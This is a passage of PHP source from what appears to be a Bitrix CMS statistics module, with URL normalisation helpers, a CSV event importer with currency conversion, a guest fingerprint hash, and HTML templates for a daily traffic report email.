										<td rowspan="2" width="0%" valign="middle" align="center" style="border:#000000 solid 1px; background-color:#A8A8A8; padding-top:0px; padding-bottom:0px; padding-left:2px; padding-right:2px;"><font style="font-family:Verdana; font-weight:normal; font-size:9px; color:#FFFFFF"><b>'.$id.'</b></font></td>
										<td align="center" width="0%" style="background-color:#FFFEE0; padding:0px; border:#000000 solid 1px;"><nobr><font style="font-family:Verdana; font-weight:normal; font-size:9px;"><font color="#000000">'.$percent.'</font></nobr><br><img src="/bitrix/images/1.gif" width="'.$max_width.'" height="1" border="0" alt=""></td>
									</tr>
									<tr>
										<td style="padding:0px; border:#000000 solid 1px;background-color:#FFFFFF;"><span style="display:block; width:'.$wpx.'px; overflow:hidden"><img src="/bitrix/images/statistic/scale.gif" height="5" border="0" alt=""></span></td>
									</tr>
								</table>
								</td>
							</tr>
						</table>
					</div>
				</div>
				';
			return $tag;
		}
	}
	return $matches[0];
}

function GetCookieString($arrCookie=false)
{
	$res = "";

	if ($arrCookie===false)
		$arrCookie = $_COOKIE;

	if (is_array($arrCookie))
	{
		foreach($arrCookie as $key => $value)
			$res .= "[".$key."] = ".$value."\n";
	}

	return $res;
}

function __GetCurrentPage()
{
	if (CModule::IncludeModule("wacko"))
		return CgeneralWacko::GetCurPage();
	else
		return __GetPage();
}

function __GetCurrentDir()
{
	/** @var CMain $APPLICATION */
	global $APPLICATION;
	if (CModule::IncludeModule("wacko"))
		return CgeneralWacko::GetCurDir();
	else
		return $APPLICATION->GetCurDir();
}

function __GetPage($page=false, $with_imp_params=true, $curdir=false)
{
	if($page===false)
	{
		$page = $_SERVER["REQUEST_URI"];
		$check_path = false;
	}
	else
	{
		$page = str_replace("\\","/",$page);
		if(substr($page, 0, 1)!=="/" && strpos($page, "://")===false)
		{
			$curdir = ($curdir!==false) ? $curdir : __GetCurrentDir();
			$page = Rel2Abs($curdir, $page);
		}
		$check_path = true;
	}

	$found = strpos($page, "?");
	$sPath = ($found? substr($page, 0, $found) : $page);
	if ($check_path)
	{
		$sPath = str_replace("\\","/",$sPath);
		$last_char = substr($sPath, -1);
		if($last_char != "/" && @is_dir($_SERVER["DOCUMENT_ROOT"].$sPath))
			$sPath .= "/";
	}

	if ($with_imp_params)
	{
		$arImpParams = array_map("trim", explode(",", COption::GetOptionString("statistic", "IMPORTANT_PAGE_PARAMS")));
		$ar = @parse_url("".$page."");

		$arVars = array();
		parse_str($ar["query"], $arVars);
		foreach($arVars as $key => $value)
		{
			$key = str_replace("amp;", "", $key);
			$arVars[$key] = $value;
		}

		$i = 0;
		foreach($arImpParams as $key)
		{
			if (array_key_exists($key, $arVars) && !is_array($arVars[$key]))
			{
				if($i > 0)
					$sPath .= "&";
				else
					$sPath .= "?";

				$sPath .= urlencode($key)."=".urlencode($arVars[$key]);
				$i++;
			}
		}
	}

	$ar = explode("?", $sPath);
	if(strlen($ar[0]) > 0)
	{
		$arTail = explode(",", COption::GetOptionString("statistic", "DIRECTORY_INDEX"));
		foreach($arTail as $tail)
		{
			$tail = "/".trim($tail);
			if(substr($ar[0], -strlen($tail))==$tail)
			{
				$ar[0] = substr($ar[0], 0, strlen($ar[0])-strlen($tail)+1);
				break;
			}
		}
	}

	return implode("?", $ar);
}

function __GetFullCurPage($page=false, $with_imp_params=true)
{
	return __GetPage($page, $with_imp_params);
}

function __GetFullReferer($referer=false)
{
	if ($referer===false) $referer = $_SERVER["HTTP_REFERER"];
	$referer = __GetPage($referer);
	return $referer;
}

function __GetFullRequestUri($url=false, $host=false, $port=false, $protocol=false)
{
	global $HTTP_HOST, $SERVER_PORT, $APPLICATION;

	if ($url===false) $url = $_SERVER["REQUEST_URI"];
	if ($host===false) $host = $_SERVER["HTTP_HOST"];
	if ($port===false) $port = $_SERVER["SERVER_PORT"];
	if ($protocol===false) $protocol = CMain::IsHTTPS() ? "https" : "http";

	$res = "";
	$host_exists = (strpos($url, "http://")===false && strpos($url, "https://")===false) ? false : true;
	if (!$host_exists)
	{
		if (strlen($protocol)>0) $res = $protocol."://";
		if (strlen($host)>0) $res .= $host;
		if (intval($port)>0 && intval($port)!=80 && intval($port)!=443 && strpos($host, ":")===false) $res .= ":".$port;
	}
	if (strlen($url)>0) $res .= $url;

	if(strpos($res, "/bitrix/admin/")!==false)
	{
		$res = str_replace("&mode=list", "", $res);
		$res = str_replace("&mode=frame", "", $res);
	}

	return $res;
}

// returns base currency
function GetStatisticBaseCurrency()
{
	$base_currency = trim(COption::GetOptionString("statistic", "BASE_CURRENCY"));
	if ($base_currency!="xxx" && strlen($base_currency)>0)
	{
		if (CModule::IncludeModule("currency"))
		{
			if (CCurrency::GetByID($base_currency)) return $base_currency;
		}
	}
	return "";
}

function CleanUpResultCsv(&$item)
{
	$item = TrimEx($item, "\"");
}

function PrepareResultQuotes(&$item)
{
	$item = "\"".str_replace("\"","\"\"", $item)."\"";
}

function LoadEventsBySteps(
	$csvfile,			// CSV file name
	$time_step,			// one step duration
	$next_line,			// line number to start
	&$step_processed,	// number of lines handled
	&$step_loaded,		// loaded in one step
	&$step_duplicate,	// duplicates skipped in this step
	$check_unique="Y",	// check uniquness
	$base_currency="",	// module base currency
	&$next_pos
	)
{
	$all_loaded = "";
	if ($fp = fopen($csvfile,"rb"))
	{
		if($next_pos>0) fseek($fp, $next_pos);
		$start = getmicrotime();
		$next_line = intval($next_line);
		$read_lines = 0;
		$step_loaded = 0;
		$step_processed = 0;
		$step_duplicate = 0;
		while (!feof($fp))
		{
			$arrCSV = fgetcsv($fp, 4096, ",");
			if (is_array($arrCSV) && count($arrCSV)>0)
			{
				array_walk($arrCSV, "CleanUpResultCsv");

				$read_lines++;

				$step_processed++;

				$EVENT_ID	= $arrCSV[0];
				$EVENT3		= $arrCSV[1];
				$DATE_ENTER	= $arrCSV[2];
				$PARAMETER	= $arrCSV[3];
				$MONEY		= $arrCSV[4];
				$CURRENCY	= $arrCSV[5];
				$CHARGEBACK	= $arrCSV[6];
				$RES_MONEY	= $MONEY;
				$EVENT_ID	= intval($EVENT_ID);
				$CHARGEBACK = ($CHARGEBACK=="Y") ? "Y" : "N";
				if ($EVENT_ID>0)
				{
					if (strlen($base_currency)<=0)
					{
						$base_currency = GetStatisticBaseCurrency();
					}
					if (strlen($base_currency)>0)
					{
						if ($CURRENCY!=$base_currency && strlen(trim($CURRENCY))>0)
						{
							if (CModule::IncludeModule("currency"))
							{
								$stmp = MkDateTime(ConvertDateTime($DATE_ENTER,"D.M.Y H:I:S"),"d.m.Y H:i:s");
								$valDate = date("Y-m-d", $stmp);
								$rate = CCurrencyRates::GetConvertFactor($CURRENCY, $base_currency, $valDate);
								if ($rate>0) $RES_MONEY = $MONEY * $rate;
							}
						}
					}
					$RES_MONEY = round($RES_MONEY,2);
					$add_event="Y";
					if ($check_unique=="Y")
					{
						$arr = CStatEvent::DecodeGID($PARAMETER);
						$arFilter = array(
							"EVENT_ID"					=> $EVENT_ID,
							"EVENT3"					=> $EVENT3,
							"DATE"						=> $DATE_ENTER,
							"SESSION_ID"				=> $arr["SESSION_ID"],
							"GUEST_ID"					=> $arr["GUEST_ID"],
							"COUNTRY_ID"				=> $arr["COUNTRY_ID"],
							"ADV_ID"					=> $arr["ADV_ID"],
							"ADV_BACK"					=> $arr["ADV_BACK"],
							"SITE_ID"					=> $arr["SITE_ID"],
							);
						$rsEvents = CStatEvent::GetListUniqueCheck($arFilter);
						if ($arEvent = $rsEvents->Fetch())
						{
							$add_event="N";
							$step_duplicate++;
						}
					}
					if ($add_event=="Y")
					{
						CStatEvent::AddByID($EVENT_ID, $EVENT3, $DATE_ENTER, $PARAMETER, $RES_MONEY, "", $CHARGEBACK);
						$step_loaded++;
					}
					$end = getmicrotime();
					if (intval($time_step)>0 && ($end-$start)>intval($time_step))
					{
						$all_loaded = "N";
						break;
					}
				}
			}
		}
		if($all_loaded=="N")
			$next_pos=ftell($fp);
		else
			$next_pos=0;
		@fclose($fp);
		if ($all_loaded!="N")
		{
			$all_loaded = "Y";
			@unlink($csvfile);
		}
	}
	return $all_loaded;
}

function GetStatPathID($URL, $PREV_PATH_ID="")
{
	return crc32ex($URL.strval($PREV_PATH_ID));
}

function stat_session_register($var_name)
{
	static $arrSTAT_SESSION = array();
	if($var_name === false)
	{
		foreach($arrSTAT_SESSION as $key => $value)
		{
			unset($GLOBALS[$key]);
			unset($_SESSION[$key]);
		}
		$arrSTAT_SESSION = array();
	}
	elseif($var_name === true)
	{
		foreach($arrSTAT_SESSION as $key => $value)
			$arrSTAT_SESSION[$key] = $_SESSION[$key];
		return $arrSTAT_SESSION;
	}
	else
	{
		$arrSTAT_SESSION[$var_name] = 0;
	}
	return null;
}

function get_guest_md5()
{
	$md5 = md5(
		$_SERVER["HTTP_USER_AGENT"].
		$_SERVER["REMOTE_ADDR"].
		$_SERVER["HTTP_X_FORWARDED_FOR"]
		);
	return $md5;
}

function GetEventSiteID()
{
	return GetStatGroupSiteID();
}

function GetStatGroupSiteID()
{
	$site_id = COption::GetOptionString("statistic", "EVENT_GID_SITE_ID");
	return $site_id;
}

function SendDailyStatistics()
{
	__SetNoKeepStatistics();
	if ($_SESSION["SESS_NO_AGENT_STATISTIC"]!="Y" && !defined("NO_AGENT_STATISTIC"))
	{
		global $MESS;

		$rsSite = CSite::GetDefList();
		$arSite = $rsSite->Fetch();
		$charset = $arSite["CHARSET"];

		$now_full_date = GetTime(time(), "FULL", $arSite["ID"], true);
		$now_date = GetTime(time(), "SHORT", $arSite["ID"], true);
		$yesterday_date = GetTime(time()-86400, "SHORT", $arSite["ID"], true);
		$bef_yesterday_date = GetTime(time()-172800, "SHORT", $arSite["ID"], true);

		$arComm = CTraffic::GetCommonValues();
		$adv = CAdv::GetList($a_by, $a_order, array(), $is_filtered, "", $arrGROUP_DAYS, $v);
		$events = CStatEventType::GetList(($e_by="s_stat"),($e_order="desc"),array(), $is_filtered);
		$referers = CTraffic::GetRefererList($by, $order, array(), $is_filtered);
		$phrases = CTraffic::GetPhraseList($s_by, $s_order, array(), $is_filtered);
		$searchers = CSearcher::GetList(($f_by="s_stat"), ($f_order="desc"), array(), $is_filtered);

		$OLD_MESS = $MESS;
		$MESS = array();
		IncludeModuleLangFile($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/statistic/include.php", $arSite["LANGUAGE_ID"]);
		IncludeModuleLangFile($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/statistic/admin/stat_list.php", $arSite["LANGUAGE_ID"]);

		$HTML_HEADER = '
			<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
			<html>
			<head>
			<meta http-equiv="Content-Type" content="text/html; charset='.$charset.'">
			<style>
			.tablehead1 {background-color:#C2DBED; padding:2px; border-top: 1px solid #A8C2D7; border-bottom: 1px solid #A8C2D7; border-left: 1px solid #A8C2D7;}
			.tablehead2 {background-color:#C2DBED; padding:2px; border-top: 1px solid #A8C2D7; border-bottom: 1px solid #A8C2D7;}
			.tablehead3 {background-color:#C2DBED; padding:2px; border-top: 1px solid #A8C2D7; border-bottom: 1px solid #A8C2D7; border-right: 1px solid #A8C2D7;}
			.tablebody1 {background-color:#F0F1F2; padding:2px; border-left:#B9D3E6 solid 1px; border-bottom:#B9D3E6 solid 1px;}
			.tablebody2 {background-color:#F0F1F2; padding:2px; border-bottom:#B9D3E6 solid 1px;}
			.tablebody3 {background-color:#F0F1F2; padding:2px; border-right:#B9D3E6 solid 1px; border-bottom:#B9D3E6 solid 1px;}
			.tablebodytext {font-family: Arial, Helvetica, sans-serif; font-size:12px; color:#000000;}
			.tableheadtext {font-family: Arial, Helvetica, sans-serif; font-size:12px; color:#000000;}
			.tablelinebottom {border-bottom:1pt solid #D1D1D1}
			.notesmall {font-family: Arial, Helvetica, sans-serif; font-size:11px; color:#008400; font-weight:normal;}
			.tablebody1_sel {background-color:#E0EBF1; padding:2px; border-left:#B9D3E6 solid 1px; border-bottom:#B9D3E6 solid 1px;}
			.tablebody2_sel {background-color:#E0EBF1; padding:2px; border-bottom:#B9D3E6 solid 1px;}
			.tablebody3_sel {background-color:#E0EBF1; padding:2px; border-right:#B9D3E6 solid 1px; border-bottom:#B9D3E6 solid 1px;}
			</style>
			</head>
			<body bgcolor="FFFFFF" leftmargin="2" topmargin="2" marginwidth="2" marginheight="2">
			';

		$HTML_COMMON = '
					<table border="0" cellspacing="1" cellpadding="3" width="100%">
						<tr>
							<td valign="top" align="center" class="tablehead1" width="48%" nowrap><font class="tableheadtext">'.GetMessage("STAT_VISIT").'</font></td>
							<td valign="top" align="center" class="tablehead2" width="13%" nowrap><font class="tableheadtext">'.GetMessage("STAT_TODAY").'</font><br><font class="notesmall">'.$now_date.'</font></td>
							<td valign="top" align="center" class="tablehead2" width="13%" nowrap><font class="tableheadtext">'.GetMessage("STAT_YESTERDAY").'</font><br><font class="notesmall">'.$yesterday_date.'</font></td>
							<td valign="top" align="center" class="tablehead2" width="13%" nowrap><font class="tableheadtext">'.GetMessage("STAT_BEFORE_YESTERDAY").'</font><br><font class="notesmall">'.$bef_yesterday_date.'</font></td>
							<td valign="top" align="center" class="tablehead3" width="13%" nowrap><font class="tableheadtext">'.GetMessage("STAT_TOTAL_1").'</font></td>
						</tr>
						<tr valign="top">
							<td valign="top" class="tablebody1" width="48%" nowrap><font class="tablebodytext">'.GetMessage("STAT_HITS").'</font></td>
							<td valign="top" align="right" class="tablebody2" width="13%" nowrap><font class="tablebodytext">'.$arComm["TODAY_HITS"].'</font></td>
							<td valign="top" align="right" class="tablebody2" width="13%" nowrap><font class="tablebodytext">'.$arComm["YESTERDAY_HITS"].'</font></td>
							<td valign="top" align="right" class="tablebody2" width="13%" nowrap><font class="tablebodytext">'.$arComm["B_YESTERDAY_HITS"].'</font></td>
							<td valign="top" align="right" class="tablebody3" width="13%" nowrap><font class="tablebodytext">'.$arComm["TOTAL_HITS"].'&nbsp;&nbsp;</font></td>
						</tr>
						<tr valign="top">
							<td valign="top" class="tablebody1" width="48%" nowrap><font class="tablebodytext">'.GetMessage("STAT_HOSTS").'</font></td>
							<td valign="top" align="right" class="tablebody2" width="13%" nowrap><font class="tablebodytext">'.$arComm["TODAY_HOSTS"].'</font></td>
							<td valign="top" align="right" class="tablebody2" width="13%" nowrap><font class="tablebodytext">'.$arComm["YESTERDAY_HOSTS"].'</font></td>
							<td valign="top" align="right" class="tablebody2" width="13%" nowrap><font class="tablebodytext">'.$arComm["B_YESTERDAY_HOSTS"].'</font></td>
							<td valign="top" align="right" class="tablebody3" width="13%" nowrap><font class="tablebodytext">'.$arComm["TOTAL_HOSTS"].'&nbsp;&nbsp;</font></td>
						</tr>
						<tr valign="top">
							<td valign="top" class="tablebody1" width="48%" nowrap><font class="tablebodytext">'.GetMessage("STAT_SESSIONS").'</font></td>
							<td valign="top" align="right" class="tablebody2" width="13%" nowrap><font class="tablebodytext">'.$arComm["TODAY_SESSIONS"].'</font></td>
							<td valign="top" align="right" class="tablebody2" width="13%" nowrap><font class="tablebodytext">'.$arComm["YESTERDAY_SESSIONS"].'</font></td>
							<td valign="top" align="right" class="tablebody2" width="13%" nowrap><font class="tablebodytext">'.$arComm["B_YESTERDAY_SESSIONS"].'</font></td>
							<td valign="top" align="right" class="tablebody3" width="13%" nowrap><font class="tablebodytext">'.$arComm["TOTAL_SESSIONS"].'&nbsp;&nbsp;</font></td>
						</tr>
						<tr valign="top">
							<td valign="top" class="tablebody1" width="48%" nowrap><font class="tablebodytext">'.GetMessage("STAT_C_EVENTS").'</font></td>
							<td valign="top" align="right" class="tablebody2" width="13%" nowrap><font class="tablebodytext">'.$arComm["TODAY_EVENTS"].'</font></td>
							<td valign="top" align="right" class="tablebody2" width="13%" nowrap><font class="tablebodytext">'.$arComm["YESTERDAY_EVENTS"].'</font></td>
							<td valign="top" align="right" class="tablebody2" width="13%" nowrap><font class="tablebodytext">'.$arComm["B_YESTERDAY_EVENTS"].'</font></td>
							<td valign="top" align="right" class="tablebody3" width="13%" nowrap><font class="tablebodytext">'.$arComm["TOTAL_EVENTS"].'&nbsp;&nbsp;</font></td>
						</tr>
						<tr valign="top">
							<td valign="top" class="tablebody1" width="48%" nowrap>
								<table border="0" cellspacing="0" cellpadding="0" width="100%">
									<tr>
										<td width="100%"><font class="tablebodytext">'.GetMessage("STAT_GUESTS").'</font></td>
										<td width="0%" align="right" class="tablelinebottom" nowrap><font class="tablebodytext">'.GetMessage("STAT_TOTAL").'</font></td>
									</tr>
									<tr>
										<td></td>
										<td class="tablelinebottom" align="right" nowrap><font class="tablebodytext">'.GetMessage("STAT_NEW").'</font></td>
									</tr>
									<tr>
										<td></td>
										<td align="right" nowrap><font class="tablebodytext">'.GetMessage("STAT_ONLINE").'</font></td>
									</tr>
								</table></td>
							<td valign="top" align="right" class="tablebody2" width="13%" nowrap>
								<table cellspacing=0 cellpadding=0 width="100%">
									<tr><td class="tablelinebottom" align="right" width="100%"><font class="tablebodytext">'.$arComm["TODAY_GUESTS"].'</font></td></tr>
									<tr><td class="tablelinebottom" align="right"><font class="tablebodytext">'.$arComm["TODAY_NEW_GUESTS"].'</font></td></tr>
									<tr><td align="right"><font class="tablebodytext">'.$arComm["ONLINE_GUESTS"].'</font></td></tr>
								</table></td>
							<td valign="top" align="right" class="tablebody2" width="13%" nowrap>
								<table cellspacing=0 cellpadding=0 width="100%">
									<tr><td class="tablelinebottom" align="right" width="100%"><font class="tablebodytext">'.$arComm["YESTERDAY_GUESTS"].'</font></td></tr>
									<tr><td class="tablelinebottom" align="right"><font class="tablebodytext">'.$arComm["YESTERDAY_NEW_GUESTS"].'</font></td></tr>
								</table></td>
							<td valign="top" align="right" class="tablebody2" width="13%" nowrap>
								<table cellspacing=0 cellpadding=0 width="100%">
									<tr><td align="right" class="tablelinebottom" width="100%"><font class="tablebodytext">'.$arComm["B_YESTERDAY_GUESTS"].'</font></td></tr>
									<tr><td class="tablelinebottom" align="right"><font class="tablebodytext">'.$arComm["B_YESTERDAY_NEW_GUESTS"].'</font></td></tr>
								</table></td>
							<td valign="top" align="right" class="tablebody3" width="13%" nowrap>
								<table cellspacing=0 cellpadding=0 width="100%">
									<tr><td class="tablelinebottom" align="right" width="100%"><font class="tablebodytext">'.$arComm["TOTAL_GUESTS"].'&nbsp;&nbsp;</font></td></tr>
									<tr><td class="tablelinebottom" align="right"><font class="tablebodytext">&nbsp;</font></td></tr>
								</table></td>
						</tr>
					</table>
				</td>
			</tr>
			</table>
			';

		$HTML_ADV = '
			<font class="tablebodytext">'.GetMessage("STAT_ADV").' ('.GetMessage("STAT_DIRECT_SESSIONS").') (Top 10):</font><br>
			<table border="0" cellspacing="1" cellpadding="3" width="100%">
				<tr>
					<td valign="top" align="center" class="tablehead1" width="48%" nowrap><font class="tableheadtext">'.GetMessage("STAT_ADV_NAME").'</font></td>
					<td valign="top" align="center" class="tablehead2" width="13%" nowrap><font class="tableheadtext">'.GetMessage("STAT_TODAY").'</font><br><font class="notesmall">'.$now_date.'</font></td>
					<td valign="top" align="center" class="tablehead2" width="13%" nowrap><font class="tableheadtext">'.GetMessage("STAT_YESTERDAY").'</font><br><font class="notesmall">'.$yesterday_date.'</font></td>
					<td valign="top" align="center" class="tablehead2" width="13%" nowrap><font class="tableheadtext">'.GetMessage("STAT_BEFORE_YESTERDAY").'</font><br><font class="notesmall">'.$bef_yesterday_date.'</font></td>
					<td valign="top" align="center" class="tablehead3" width="13%" nowrap><font class="tableheadtext">'.GetMessage("STAT_TOTAL_1").'</font></td>
				</tr>
			';
			$i = 0;
			$total_SESSIONS_TODAY = 0;
			$total_SESSIONS_YESTERDAY = 0;
			$total_SESSIONS_BEF_YESTERDAY = 0;
			$total_SESSIONS = 0;
			while ($ar = $adv->Fetch()) :
				$i++;
				$total_SESSIONS_TODAY += $ar["SESSIONS_TODAY"];
				$total_SESSIONS_YESTERDAY += $ar["SESSIONS_YESTERDAY"];
				$total_SESSIONS_BEF_YESTERDAY += $ar["SESSIONS_BEF_YESTERDAY"];
				$total_SESSIONS += $ar["SESSIONS"];
				if ($i<=10) :
			$HTML_ADV .= '
				<tr>
					<td valign="top" class="tablebody1"><font class="tablebodytext">['.$ar["ID"].']&nbsp;'.$ar["REFERER1"].'&nbsp;/&nbsp;'.$ar["REFERER2"].'</font></td>
					<td valign="top" align="right" class="tablebody2"><font class="tablebodytext">&nbsp;'.($ar["SESSIONS_TODAY"]>0 ? $ar["SESSIONS_TODAY"] : "&nbsp;").'</font></td>
					<td valign="top" align="right" class="tablebody2"><font class="tablebodytext">&nbsp;'.($ar["SESSIONS_YESTERDAY"]>0 ? $ar["SESSIONS_YESTERDAY"] : "&nbsp;").'</font></td>
					<td valign="top" align="right" class="tablebody2"><font class="tablebodytext">&nbsp;'.($ar["SESSIONS_BEF_YESTERDAY"]>0 ? $ar["SESSIONS_BEF_YESTERDAY"] : "&nbsp;").'</font></td>
					<td valign="top" align="right" class="tablebody3"><font class="tablebodytext">&nbsp;'.($ar["SESSIONS"]>0 ? $ar["SESSIONS"] : "&nbsp;").'</font></td>
				</tr>
				';
		endif;
	endwhile;
			$HTML_ADV .= '
				<tr>
					<td valign="top" align="right" class="tablebody1_sel" style="padding:3px"><font class="tablebodytext">'.GetMessage("STAT_TOTAL").'</font></td>
					<td valign="top" align="right" class="tablebody2_sel" style="padding:3px"><font class="tablebodytext">&nbsp;'.($total_SESSIONS_TODAY>0 ? $total_SESSIONS_TODAY : "&nbsp;").'</font></td>
					<td valign="top" align="right" class="tablebody2_sel" style="padding:3px"><font class="tablebodytext">&nbsp;'.($total_SESSIONS_YESTERDAY>0 ? $total_SESSIONS_YESTERDAY : "&nbsp;").'</font></td>
					<td valign="top" align="right" class="tablebody2_sel" style="padding:3px"><font class="tablebodytext">&nbsp;'.($total_SESSIONS_BEF_YESTERDAY>0 ? $total_SESSIONS_BEF_YESTERDAY : "&nbsp;").'</font></td>
					<td valign="top" align="right" class="tablebody3_sel" style="padding:3px"><font class="tablebodytext">&nbsp;'.($total_SESSIONS>0 ? $total_SESSIONS : "&nbsp;").'</font></td>
			</table>
			';

		$HTML_EVENTS = '
			<font class="tablebodytext">'.GetMessage("STAT_EVENTS_2").' (Top 10):</font><br>
			<table border="0" cellspacing="1" cellpadding="3" width="100%">
				<tr>
					<td valign="top" align="center" class="tablehead1" width="48%" nowrap><font class="tableheadtext">'.GetMessage("STAT_EVENT").'</font></td>
					<td valign="top" align="center" class="tablehead2" width="13%" nowrap>
						<font class="tablebodytext">'.GetMessage("STAT_TODAY").'</font><br><font class="notesmall">'.$now_date.'</font></td>
					<td valign="top" align="center" class="tablehead2" width="13%" nowrap>
						<font class="tablebodytext">'.GetMessage("STAT_YESTERDAY").'</font><br><font class="notesmall">'.$yesterday_date.'</font></td>
					<td valign="top" align="center" class="tablehead2" width="13%" nowrap>
						<font class="tablebodytext">'.GetMessage("STAT_BEFORE_YESTERDAY").'</font><br><font class="notesmall">'.$bef_yesterday_date.'</font></td>
					<td valign="top" align="center" class="tablehead3" width="13%" nowrap>
						<font class="tablebodytext">'.GetMessage("STAT_TOTAL_1").'</font></td>
				</tr>
			';
			$i = 0;
			$total_TODAY_COUNTER = 0;
			$total_YESTERDAY_COUNTER = 0;
			$total_B_YESTERDAY_COUNTER = 0;
			$total_TOTAL_COUNTER = 0;
			while ($er = $events->Fetch()) :
				$i++;
				$total_TODAY_COUNTER += intval($er["TODAY_COUNTER"]);
				$total_YESTERDAY_COUNTER += intval($er["YESTERDAY_COUNTER"]);
				$total_B_YESTERDAY_COUNTER += intval($er["B_YESTERDAY_COUNTER"]);
				$total_TOTAL_COUNTER += intval($er["TOTAL_COUNTER"]);
				if ($i<=10) :
				$HTML_EVENTS .= '
				<tr valign="top">
					<td valign="top" class="tablebody1" width="0%" nowrap><font class="tablebodytext">'.$er["EVENT"].'</font></td>
					<td valign="top" align="right" class="tablebody2" width="0%" nowrap><font class="tablebodytext">'.($er["TODAY_COUNTER"]>0 ? $er["TODAY_COUNTER"] : "&nbsp;").'</font></td>
					<td valign="top" align="right" class="tablebody2" width="0%" nowrap><font class="tablebodytext">'.($er["YESTERDAY_COUNTER"]>0 ? $er["YESTERDAY_COUNTER"] : "&nbsp;").'</font></td>
					<td valign="top" align="right" class="tablebody2" width="0%" nowrap><font class="tablebodytext">'.($er["B_YESTERDAY_COUNTER"]>0 ? $er["B_YESTERDAY_COUNTER"] : "&nbsp;").'</font></td>
					<td valign="top" align="right" class="tablebody3" width="0%" nowrap><font class="tablebodytext">'.($er["TOTAL_COUNTER"]>0 ? $er["TOTAL_COUNTER"] : "&nbsp;").'</font></td>
				</tr>
				';
					endif;
				endwhile;
				$HTML_EVENTS .= '
				<tr valign="top">
					<td align="right" class="tablebody1_sel" style="padding:3px"><font class="tablebodytext">'.GetMessage("STAT_TOTAL").'</font></td>
					<td align="right" class="tablebody2_sel" style="padding:3px"><font class="tablebodytext">'.($total_TODAY_COUNTER>0 ? $total_TODAY_COUNTER : "&nbsp;").'</font></td>
					<td align="right" class="tablebody2_sel" style="padding:3px"><font class="tablebodytext">'.($total_YESTERDAY_COUNTER>0 ? $total_YESTERDAY_COUNTER : "&nbsp;").'</font></td>
					<td align="right" class="tablebody2_sel" style="padding:3px"><font class="tablebodytext">'.($total_B_YESTERDAY_COUNTER>0 ? $total_B_YESTERDAY_COUNTER : "&nbsp;").'</font></td>
					<td align="right" class="tablebody3_sel" style="padding:3px"><font class="tablebodytext">'.($total_TOTAL_COUNTER>0 ? $total_TOTAL_COUNTER : "&nbsp;").'</font></td>
			</table>
			';

		$HTML_REFERERS = '
			<font class="tablebodytext">'.GetMessage("STAT_REFERERS").' (Top 10):</font><br>
			<table border="0" cellspacing="1" cellpadding="3" width="100%">
				<tr>
					<td valign="top" align="center" class="tablehead1" width="48%" nowrap><font class="tableheadtext">'.GetMessage("STAT_SERVER").'</font></td>
					<td valign="top" align="center" class="tablehead2" width="13%" nowrap><font class="tablebodytext">'.GetMessage("STAT_TODAY").'</font><br><font class="notesmall">'.$now_date.'</font></td>
					<td valign="top" align="center" class="tablehead2" width="13%" nowrap><font class="tablebodytext">'.GetMessage("STAT_YESTERDAY").'</font><br><font class="notesmall">'.$yesterday_date.'</font></td>
					<td valign="top" align="center" class="tablehead2" width="13%" nowrap><font class="tablebodytext">'.GetMessage("STAT_BEFORE_YESTERDAY").'</font><br><font class="notesmall">'.$bef_yesterday_date.'</font></td>
					<td valign="top" align="center" class="tablehead3" width="13%" nowrap><font class="tablebodytext">'.GetMessage("STAT_TOTAL_1").'</font></td>
				</tr>
			';
			$i = 0;
			$total_TODAY_REFERERS = 0;
			$total_YESTERDAY_REFERERS = 0;
			$total_B_YESTERDAY_REFERERS = 0;
			$total_TOTAL_REFERERS = 0;
			while ($rr = $referers->Fetch()) :
				$i++;
				$total_TODAY_REFERERS += $rr["TODAY_REFERERS"];
				$total_YESTERDAY_REFERERS += $rr["YESTERDAY_REFERERS"];
				$total_B_YESTERDAY_REFERERS += $rr["B_YESTERDAY_REFERERS"];
				$total_TOTAL_REFERERS += $rr["TOTAL_REFERERS"];
				if ($i<=10) :
				$HTML_REFERERS .= '
				<tr>
					<td valign="top" class="tablebody1" nowrap><font class="tablebodytext">'.$rr["SITE_NAME"].'</font></td>
					<td align="right" class="tablebody2"><font class="tablebodytext">'.($rr["TODAY_REFERERS"]>0 ? $rr["TODAY_REFERERS"] : "&nbsp;").'</font></td>
					<td align="right" class="tablebody2"><font class="tablebodytext">'.($rr["YESTERDAY_REFERERS"]>0 ? $rr["YESTERDAY_REFERERS"] : "&nbsp;").'</font></td>
					<td align="right" class="tablebody2"><font class="tablebodytext">'.($rr["B_YESTERDAY_REFERERS"]>0 ? $rr["B_YESTERDAY_REFERERS"] : "&nbsp;").'</font></td>
					<td align="right" class="tablebody3"><font class="tablebodytext">'.($rr["TOTAL_REFERERS"]>0 ? $rr["TOTAL_REFERERS"] : "&nbsp;").'</font></td>
				</tr>
				';
				endif;
			endwhile;
				$HTML_REFERERS .= '
				<tr valign="top">
					<td align="right" class="tablebody1_sel" style="padding:3px"><font class="tablebodytext">'.GetMessage("STAT_TOTAL").'</font></td>
					<td align="right" class="tablebody2_sel" style="padding:3px"><font class="tablebodytext">'.($total_TODAY_REFERERS>0 ? $total_TODAY_REFERERS : "&nbsp;").'</font></td>
					<td align="right" class="tablebody2_sel" style="padding:3px"><font class="tablebodytext">'.($total_YESTERDAY_REFERERS>0 ? $total_YESTERDAY_REFERERS : "&nbsp;").'</font></td>
					<td align="right" class="tablebody2_sel" style="padding:3px"><font class="tablebodytext">'.($total_B_YESTERDAY_REFERERS>0 ? $total_B_YESTERDAY_REFERERS : "&nbsp;").'</font></td>
					<td align="right" class="tablebody3_sel" style="padding:3px"><font class="tablebodytext">'.($total_TOTAL_REFERERS>0 ? $total_TOTAL_REFERERS : "&nbsp;").'</font></td>
			</table>
			';

		$HTML_PHRASES = '
			<font class="tablebodytext">'.GetMessage("STAT_PHRASES").' (Top 10):</font><br>
			<table border="0" cellspacing="1" cellpadding="3" width="100%">
				<tr>
					<td valign="top" align="center" class="tablehead1" width="48%" nowrap><font class="tableheadtext">'.GetMessage("STAT_PHRASE").'</td>
					<td valign="top" align="center" class="tablehead2" width="13%" nowrap><font class="tablebodytext">'.GetMessage("STAT_TODAY").'</font><br><font class="notesmall">'.$now_date.'</font></td>
					<td valign="top" align="center" class="tablehead2" width="13%" nowrap><font class="tablebodytext">'.GetMessage("STAT_YESTERDAY").'</font><br><font class="notesmall">'.$yesterday_date.'</font></td>
					<td valign="top" align="center" class="tablehead2" width="13%" nowrap><font class="tablebodytext">'.GetMessage("STAT_BEFORE_YESTERDAY").'</font><br><font class="notesmall">'.$bef_yesterday_date.'</font></td>
